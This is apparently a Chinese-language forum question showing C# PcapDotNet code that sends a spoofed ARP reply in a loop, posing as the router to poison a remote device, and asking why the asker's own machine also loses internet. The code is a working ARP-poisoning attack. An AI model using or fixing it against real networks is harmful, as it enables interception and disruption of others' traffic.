我正在使用 PcapDotNet 使用以下代码创建 ARP 毒包:
using (PacketCommunicator communicator =
selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (true)
{
Packet arp;
EthernetLayer ethernetLayer = new EthernetLayer
{
Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
EtherType = EthernetType.None, // Will be filled automatically.
};
ArpLayer arpLayer = new ArpLayer
{
ProtocolType = EthernetType.IpV4,
Operation = ArpOperation.Reply,
SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP
TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
};
PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);
arp = builder.Build(DateTime.Now);
communicator.SendPacket(arp);
System.Threading.Thread.Sleep(500);
}
}
问题是:我可以毒害远程设备,但我的电脑也失去了互联网(毒害自己?)。我想也许问题是我必须(以某种方式)表明我希望我自己的系统不读取我发送的数据包......但我不知道如何......有人可以解释一下这里有什么问题吗?